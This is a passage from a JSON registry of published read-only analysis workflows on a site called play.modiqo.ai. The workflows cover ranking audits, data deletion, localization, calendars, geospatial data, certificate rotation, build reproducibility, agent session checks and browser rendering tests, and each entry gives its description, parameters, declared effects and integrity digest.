library.","example":"evidence/input.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1507dc40a34aa0fe9a0b65da10587d3bf0dc1980ae8a1dbbc12d4cfaaad4726b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/ranking-slice-paradox@0.1.1","reference":"himanshu-jha/ranking-slice-paradox@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/ranking-slice-paradox@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/ranking-slice-paradox@0.1.1","name":"ranking-slice-paradox","title":"ranking-slice-paradox","description":"Audits two ranking models for an aggregate-versus-slice paradox. Four independent probes compute O(N log N) rank-based AUC with an O(replicates * N) deterministic weighted bootstrap, group slices, calibration and top-K composition, and Simpson reversal witnesses. A synthesis join reports when an aggregate win hides consistent slice losses.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-ml-engineers","domain-responsible-ai","ranking","simpson-paradox","calibration","top-k","python"],"primary_domain":"domain-responsible-ai","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T05:14:34.677024+00:00","visibility":"public","quality_score":1,"size_bytes":13090,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["measure_group_slices","detect_simpson_reversal","measure_overall_ordering","synthesize_ranking_audit","audit_calibration_and_topk"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Local input path, absolute or relative to the invocation directory. Pass input=path for your evidence, or omit it to analyze the bundled adversarial demo. Analysis is deterministic, read-only and network-free, using only the Python standard library.","example":"evidence/input.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:78789b647a78f1223e3a04471c36526d61045895f76713c2e1ea8df9ffd4ed67","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/privacy-deletion-path-proof@0.1.1","reference":"himanshu-jha/privacy-deletion-path-proof@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/privacy-deletion-path-proof@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/privacy-deletion-path-proof@0.1.1","name":"privacy-deletion-path-proof","title":"privacy-deletion-path-proof","description":"Checks supplied evidence for personal-data deletion coverage along every declared flow from collection through processors, logs, exports, and backups. Four probes inventory collection paths, trace erasure propagation, inspect residual surfaces, and validate evidence freshness; missing evidence becomes UNKNOWN rather than clean.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-privacy-engineers","domain-privacy","data-deletion","pii","backups","exports","evidence","python"],"primary_domain":"domain-privacy","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T05:14:25.321156+00:00","visibility":"public","quality_score":1,"size_bytes":13496,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["verify_deletion_evidence","inspect_residual_surfaces","trace_erasure_propagation","inventory_collection_paths","synthesize_deletion_path_proof"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Local input path, absolute or relative to the invocation directory. Pass input=path for your evidence, or omit it to analyze the bundled adversarial demo. Analysis is deterministic, read-only and network-free, using only the Python standard library.","example":"evidence/input.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2bdcb8aca9f08d2bcfc3a6fd13c982f9f20e123d2fa0bb559d2e02c73375e534","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/localization-bundle-contract@0.1.1","reference":"himanshu-jha/localization-bundle-contract@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/localization-bundle-contract@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/localization-bundle-contract@0.1.1","name":"localization-bundle-contract","title":"localization-bundle-contract","description":"Checks a localization bundle for cross-locale inconsistencies. Four independent probes compare keys, placeholders and plural branches, markup structure, and Unicode normalization or expansion budgets; synthesis distinguishes definite breakage from locale-specific uncertainty.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-frontend-engineers","domain-internationalization","localization","icu-message","unicode","markup","python"],"primary_domain":"domain-internationalization","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T05:13:13.174558+00:00","visibility":"public","quality_score":1,"size_bytes":17242,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["compare_message_keys","validate_markup_contract","synthesize_bundle_contract","audit_unicode_and_expansion","validate_placeholders_and_plurals"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Local input path, absolute or relative to the invocation directory. Use input=path to analyze your bundle, or omit input for the bundled adversarial demo. Analysis is read-only, deterministic and network-free, using only the Python standard library.","example":"evidence/input.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dc29e2521a2933a0c1c8a0ac1a4a80e19af6f6b08bea4b943c0b13e88dcff5ce","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/lineage-cycle-blast-radius@0.1.1","reference":"himanshu-jha/lineage-cycle-blast-radius@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/lineage-cycle-blast-radius@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/lineage-cycle-blast-radius@0.1.1","name":"lineage-cycle-blast-radius","title":"lineage-cycle-blast-radius","description":"Treats a data lineage inventory as a directed graph and checks it for structural and operational hazards before a change. Parallel probes find cycles, missing endpoints and orphans, propagated freshness violations, and PII or changed-node blast radius; the synthesis join keeps unreachable and unknown evidence explicit.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-data-engineers","domain-data-governance","lineage","graph-cycles","freshness","pii","blast-radius","python"],"primary_domain":"domain-data-governance","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T05:13:01.488492+00:00","visibility":"public","quality_score":1,"size_bytes":12934,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["detect_lineage_cycles","find_orphans_and_roots","propagate_freshness_risk","synthesize_lineage_proof","trace_pii_change_blast_radius"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Local input path, absolute or relative to the invocation directory. Use input=path to analyze your inventory, or omit input for the bundled adversarial demo. Analysis is read-only, deterministic and network-free, using only the Python standard library.","example":"evidence/input.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7f458d40df661f660c52816c595c33ce20bee22c791f7dd4b49252fa9be34397","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/ical-recurrence-integrity@0.1.1","reference":"himanshu-jha/ical-recurrence-integrity@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/ical-recurrence-integrity@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/ical-recurrence-integrity@0.1.1","name":"ical-recurrence-integrity","title":"ical-recurrence-integrity","description":"Validates an iCalendar feed by unfolding content lines, resolving TZID semantics, boundedly expanding RRULE sets with RDATE and EXDATE, and reconciling RECURRENCE-ID overrides across DST boundaries. Four probes run independently and a synthesis join keeps unsupported or unbounded recurrence evidence out of clean results.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-calendar-engineers","domain-calendaring","icalendar","rrule","timezone","dst","recurrence","python"],"primary_domain":"domain-calendaring","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T05:12:51.027725+00:00","visibility":"public","quality_score":1,"size_bytes":19667,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["expand_recurrence_set","synthesize_recurrence_proof","unfold_and_parse_components","validate_timezone_semantics","reconcile_exceptions_and_overrides"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Local UTF-8 .ics path, absolute or relative to the invocation directory. Use input=path to analyze your calendar, or omit input for the bundled adversarial demo calendar. Analysis is read-only, deterministic and network-free, using only the Python standard library.","example":"calendars/team.ics"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c96e696188b1a71c54b451340df8a99d474ea2ac453bf59818892858104c36da","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/geojson-topology-proof@0.1.1","reference":"himanshu-jha/geojson-topology-proof@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/geojson-topology-proof@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/geojson-topology-proof@0.1.1","name":"geojson-topology-proof","title":"geojson-topology-proof","description":"Statically proves key GeoJSON geometry invariants before spatial ingestion. Parallel probes validate coordinate domains, ring closure and winding, segment self-intersections, and hole containment plus antimeridian and bbox consistency; the synthesis join reports precise feature and coordinate witnesses.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-geospatial-engineers","domain-geospatial","geojson","topology","antimeridian","bounding-box","python"],"primary_domain":"domain-geospatial","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T05:12:11.18029+00:00","visibility":"public","quality_score":1,"size_bytes":17615,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["validate_ring_contract","synthesize_topology_proof","validate_coordinate_domain","audit_holes_antimeridian_bbox","detect_polygon_self_intersections"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Local input path, absolute or relative to the invocation directory. Use input=path to analyze your file, or omit input for the bundled adversarial demo. Analysis is read-only, deterministic and network-free, using only the Python standard library.","example":"evidence/input.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:23a5eb2dbe96e05370a87f2607dede9caa3a6b903629a2c254ecaf0c28cb1a8e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/certificate-rotation-gap@0.1.1","reference":"himanshu-jha/certificate-rotation-gap@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/certificate-rotation-gap@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/certificate-rotation-gap@0.1.1","name":"certificate-rotation-gap","title":"certificate-rotation-gap","description":"Preflights a certificate fleet and rotation plan before rollout. Use it at every scheduled rotation review, before binding rollout, and during certificate-related incident triage. Four independent probes evaluate validity windows for current, next, and explicitly declared candidate certificates. They reject empty or malformed certificate, binding, or client-chain evidence and validate a non-negative integer expiry-warning horizon and a finite positive overlap policy. The checks compare hostname/IP SAN identities and model client-specific chain trust. Every declared next certificate and unattached candidate must map to a complete rotation-plan endpoint, regardless of the current warning horizon. Both old and next certificates must remain valid strictly past rollout finish. Unused historical inventory is reported separately and cannot create a false rotation gap. The synthesis join identifies endpoints that can become invalid even when each certificate looks acceptable alone and prioritizes the repair order. It reads a JSON snapshot only, never opens sockets, changes bindings, reads key material, or contacts a CA. Run with input=evidence/cert-rotation.json or omit input for the bundled demo. Limits: OCSP/CRL, live TLS negotiation, private-key possession, client clock skew, and undocumented trust stores are outside the supplied model.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-platform-engineers","domain-pki","tls","certificate-rotation","san","trust-chain","outage-prevention","python"],"primary_domain":"domain-pki","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T05:09:14.848197+00:00","visibility":"public","quality_score":1,"size_bytes":14644,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["synthesize_rotation_gap","evaluate_client_chain_trust","measure_binding_rotation_overlap","verify_subject_alternative_names","audit_certificate_validity_windows"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Workspace-relative certificate/binding/plan JSON. Omit for the bundled demo; pass input=evidence/api-cert-rollover.json for fresh evidence.","example":"evidence/api-cert-rollover.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1abef4e1dc1a8e9bd1ec966d1bec87f5dd8f6b2a43764a342d628584a8d8be42","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/artifact-reproducibility-explainer@0.1.1","reference":"himanshu-jha/artifact-reproducibility-explainer@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/artifact-reproducibility-explainer@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/artifact-reproducibility-explainer@0.1.1","name":"artifact-reproducibility-explainer","title":"artifact-reproducibility-explainer","description":"Explains why two builds are not reproducible. Use it after every reproducibility-CI mismatch and before promoting a release artifact. Four sibling probes compare artifact member paths and payloads, metadata-only drift, source/command/environment evidence, and ordered stage digests. Artifact member paths must be nonblank and control-free. Source, command, and environment evidence is compared as canonical nested JSON; differing values are identified by collision-free typed key/index paths. All file and stage digests must be complete 64-hex SHA-256 values. Differing declared inputs are redacted into fingerprints so tokens or credentials are never echoed. Optional raw archive order is validated as a complete unique member list when supplied, while stage metadata digests remain the authoritative packaging evidence. A join reports the earliest evidenced divergence and a severity-prioritized next action while distinguishing content from packaging metadata. REPRODUCIBLE is reserved for equivalent declared inputs plus complete comparable stage evidence; equal outputs under different inputs are INPUTS_DIFFER, and missing evidence is INDETERMINATE. It reads a two-build JSON evidence bundle, never executes a build, writes nothing, and makes no network calls. Run with input=evidence/two-builds.json, or omit input for the bundled demo. Limits: causal language is bounded to supplied stages and inputs, missing provenance remains explicit, and semantic equivalence of different binaries is outside scope.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-build-engineers","domain-supply-chain","reproducible-builds","provenance","artifacts","python"],"primary_domain":"domain-supply-chain","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T05:06:53.352575+00:00","visibility":"public","quality_score":1,"size_bytes":14011,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["isolate_metadata_drift","compare_payload_content","compare_build_environment","locate_first_divergent_boundary","synthesize_reproducibility_explanation"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Workspace-relative JSON containing exactly two build records. Omit for the bundled demo; use input=evidence/linux-vs-macos.json for fresh evidence.","example":"evidence/linux-vs-macos.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:27ba5d683ffaa702b84d6e128a70633ba249535ba0bb6628c9cb5b9293df83d6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/session-gate@0.1.2","reference":"bhanu82/session-gate@0.1.2","uri":"https://play.modiqo.ai/bhanu82/session-gate@0.1.2","manifest_uri":"https://play.modiqo.ai/bhanu82/session-gate@0.1.2","name":"session-gate","title":"session-gate","description":"One gate after every agent session: four parallel probes (rule files, workspace dirt, documented commands, transcript growth) join into SESSION-CLEAN or REVIEW-QUEUE. A runtime self-check withholds CLEAN if the analyzer fails its own cases; truncated probe output never reports CLEAN. Read-only, zero API keys; needs only python3 and git.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-session-gate","audience-developers","agent-governance","daily-habit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.2","published_at":"2026-09-05T03:48:09.482646+00:00","visibility":"public","quality_score":1,"size_bytes":9846,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":6,"names":["join_gate","selfcheck","probe_dirt","probe_commands","probe_transcripts","probe_instructions"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Absolute path of the session workspace; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"transcript_dir","type":"string","required":false,"default":"","description":"Absolute path of JSONL session transcripts; empty leaves that probe UNKNOWN","example":"/home/user/.claude/projects"},{"name":"instruction_patterns","type":"string","required":false,"default":"AGENTS.md,CLAUDE.md,SKILL.md,.cursorrules,.clinerules,.windsurfrules","description":"Comma-separated instruction basenames or paths (fnmatch)","example":"AGENTS.md,SKILL.md"},{"name":"max_new_files","type":"integer","required":false,"default":"50","description":"Maximum changed paths listed by the dirt probe","example":"100"},{"name":"max_bytes_per_file","type":"integer","required":false,"default":"200000","description":"Maximum bytes read per transcript file","example":"500000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f9ef01650cef7f27b3e51940086ab5fadeceb7f99b0f768525d83fbaae709aa7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/theme-contrast-reality@0.2.1","reference":"himanshu-jha/theme-contrast-reality@0.2.1","uri":"https://play.modiqo.ai/himanshu-jha/theme-contrast-reality@0.2.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/theme-contrast-reality@0.2.1","name":"theme-contrast-reality","title":"theme-contrast-reality","description":"Renders a trusted built page in parallel under light, dark and forced-color preferences and checks visible text against supported opaque background paint. It reports WCAG AA ratios for normal and large text, comparing unrounded ratios with the threshold. Translucent text over a known opaque background is supported; CSS group opacity, translucent backgrounds, gradients, images, filters, masks, blending, generated content and overlapping non-ancestor paint are unresolved instead of assigned a guessed passing ratio. A bounded scan examines 4,000 text nodes per theme and reports coverage. Zero measured runs, missing themes, partial observations or unresolved paint cannot produce PASSES AA. Cross-theme pass/fail/unresolved evidence joins exact text-node identities and text, never the absence of a color pair from a capped failure list. Five stages locate the build, render three themes concurrently and join their evidence. The default offline demo is explicitly labeled when used. Project files are read-only. A descriptor-confined loopback server refuses symlinks, hidden paths, special files and directory listings; POSIX no-follow support is required. Chromium creates temporary runtime/profile files, and page JavaScript can issue outbound requests including writes. Run only trusted builds. This is a bounded text-contrast check, not a complete accessibility audit.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-engineering","tool-browser","job-accessibility-audit","frontend","composition"],"primary_domain":"domain-engineering","author":"himanshu748","version":"0.2.1","published_at":"2026-09-05T03:28:04.520804+00:00","visibility":"public","quality_score":1,"size_bytes":25674,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["dark","light","forced","locate","report"]},"parameters":[{"name":"path","type":"string","required":false,"default":"","description":"Absolute path to the built output, or to the project holding it. Leave it out and the most recently built page under your usual project directories is rendered, with the report naming which one it chose; when this machine has no build at all, the bundled demo build is rendered and the report says so in its first line. A relative path is never right here: steps run in the play run workspace, not your shell.","example":"/Users/you/project/dist"},{"name":"width","type":"string","required":false,"default":"1280","description":"Viewport width in pixels. Contrast does not depend on width, but which text is on screen does, and only text that is on screen can be measured.","example":"1280"},{"name":"wait_ms","type":"string","required":false,"default":"1200","description":"How long to let the page settle after load before measuring, in milliseconds. It is a choice this play makes and prints, not a standard: text that arrives later than this is never measured.","example":"1200"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b665c3657a41f6142060908992cc6821917c8d6c1862c4928e2556610365fce5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/browser-load-reality@0.2.1","reference":"himanshu-jha/browser-load-reality@0.2.1","uri":"https://play.modiqo.ai/himanshu-jha/browser-load-reality@0.2.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/browser-load-reality@0.2.1","name":"browser-load-reality","title":"browser-load-reality","description":"Loads a trusted built page in headless Chromium at phone, tablet and desktop widths in parallel, then joins observed JavaScript errors, request failures, horizontal overflow and small tap targets into one fix queue. A separate HTML scan records viewport markup, insecure references and unsized images. All viewports inherit the located build. Missing, failed or truncated observations make the result incomplete, never clean: static HTML is bounded to 4 MB and each viewport examines up to 10,000 control candidates and 10,000 elements, with counts reported. The 44px tap threshold and settle delay are explicit choices, not a full accessibility certification. A bundled offline demo is used only when no path or discoverable build exists and is labeled as a demo. Project files are read-only. A descriptor-confined loopback server refuses symlinks, hidden paths, special files and directory listings; POSIX no-follow descriptor support is required. Chromium creates temporary runtime/profile files. Page JavaScript executes and can issue outbound requests, including writes, so run this only on trusted builds. It does not click controls or judge visual design.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-engineering","tool-browser","job-release-readiness","frontend","composition"],"primary_domain":"domain-engineering","author":"himanshu748","version":"0.2.1","published_at":"2026-09-05T03:27:54.460495+00:00","visibility":"public","quality_score":1,"size_bytes":566685,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":6,"names":["locate","mobile","report","static","tablet","desktop"]},"parameters":[{"name":"path","type":"string","required":false,"default":"","description":"Absolute path to the built output, or to the project holding it. Leave it out and the most recently built page under your usual project directories is loaded, with the report naming which one it chose; when this machine has no build at all, the bundled demo build is loaded and the report says so in its first line. A relative path is never right here: steps run in the play run workspace, not your shell.","example":"/Users/you/project/dist"},{"name":"wait_ms","type":"string","required":false,"default":"1200","description":"How long to let the page settle after load before measuring, in milliseconds. It is a choice this play makes and prints, not a standard: a page that renders late will look emptier at a smaller value.","example":"1200"},{"name":"timeout_ms","type":"string","required":false,"default":"25000","description":"How long a single page load may take before that viewport is reported as not loaded rather than as clean.","example":"25000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8a092ed0c2a61583c6983c936684eb3a4246a7c47c2e941bb86d793566313a96","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/agent-context-tax@0.1.2","reference":"himanshu-jha/agent-context-tax@0.1.2","uri":"https://play.modiqo.ai/himanshu-jha/agent-context-tax@0.1.2","manifest_uri":"https://play.modiqo.ai/himanshu-jha/agent-context-tax@0.1.2","name":"agent-context-tax","title":"agent-context-tax","description":"Estimates the context cost of the MCP tool schemas, skill descriptions and subagent definitions your configuration makes available. It measures offered schemas, not what your particular client actually sends to a model: clients can defer, trim or summarize tooling. Each configured stdio server is initialized in a live newline-JSON session, then tools/list pages are read until pagination is exhausted. A persistent server need not exit before its reply can be counted. Five DAG stages survey declarations, measure servers, read skill and subagent front matter, rank large tools, and join an estimated byte-based budget against the window size you choose. Token counts use a stated bytes-per-token divisor, not a tokenizer. Missing or malformed replies, repeated cursors, timeouts, changing inventories, and the 100-page, 10000-tool or 16 MiB session limits make the result incomplete; they never become a zero-cost success. An explicit empty tools array can count as zero. Remote servers are not contacted and are labeled unmeasured. This play does not edit your configuration, but it starts your configured programs with their configured and inherited environment, so those programs can use credentials, write files or make network requests. Run only against configurations you 